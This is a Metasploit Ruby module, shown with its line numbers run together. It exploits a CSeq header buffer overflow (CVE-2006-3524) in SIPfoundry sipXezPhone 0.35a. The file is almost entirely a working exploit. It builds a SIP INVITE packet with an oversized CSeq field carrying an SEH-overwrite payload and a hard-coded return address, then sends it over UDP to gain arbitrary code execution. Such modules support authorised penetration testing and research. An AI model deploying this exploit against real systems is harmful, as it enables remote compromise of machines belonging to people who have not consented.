Path: blob/master/modules/exploits/windows/sip/sipxezphone_cseq.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',16'Description' => %q{17This module exploits a buffer overflow in SIPfoundry's18sipXezPhone version 0.35a. By sending an long CSeq header,19a remote attacker could overflow a buffer and execute20arbitrary code on the system with the privileges of21the affected application.22},23'Author' => 'MC',24'References' => [25['CVE', '2006-3524'],26['OSVDB', '27122'],27['BID', '18906'],28],29'DefaultOptions' => {30'EXITFUNC' => 'process',31},32'Payload' => {33'Space' => 400,34'BadChars' => "\x00\x0a\x20\x09\x0d",35'StackAdjustment' => -3500,36},37'Platform' => 'win',3839'Targets' => [40['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],41],4243'Privileged' => false,4445'DisclosureDate' => '2006-07-10',4647'DefaultTarget' => 0,48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options(57[58Opt::RPORT(5060)59]60)61end6263def exploit64connect_udp6566print_status("Trying target #{target.name}...")6768user = rand_text_english(2, payload_badchars)69port = rand(65535).to_s70filler = rand_text_english(260, payload_badchars)71seh = generate_seh_payload(target.ret)72filler[252, seh.length] = seh7374sploit = "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"75sploit << "To: <sip:#{rhost}:#{rport}>" + "\r\n"76sploit << "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"77sploit << "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"78sploit << "Call-ID: #{(rand(100) + 100)}#{rhost}" + "\r\n"79sploit << "CSeq: " + filler + "\r\n"80sploit << "Max-Forwards: 20" + "\r\n"81sploit << "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"8283udp_sock.put(sploit)8485handler86disconnect_udp87end88end899091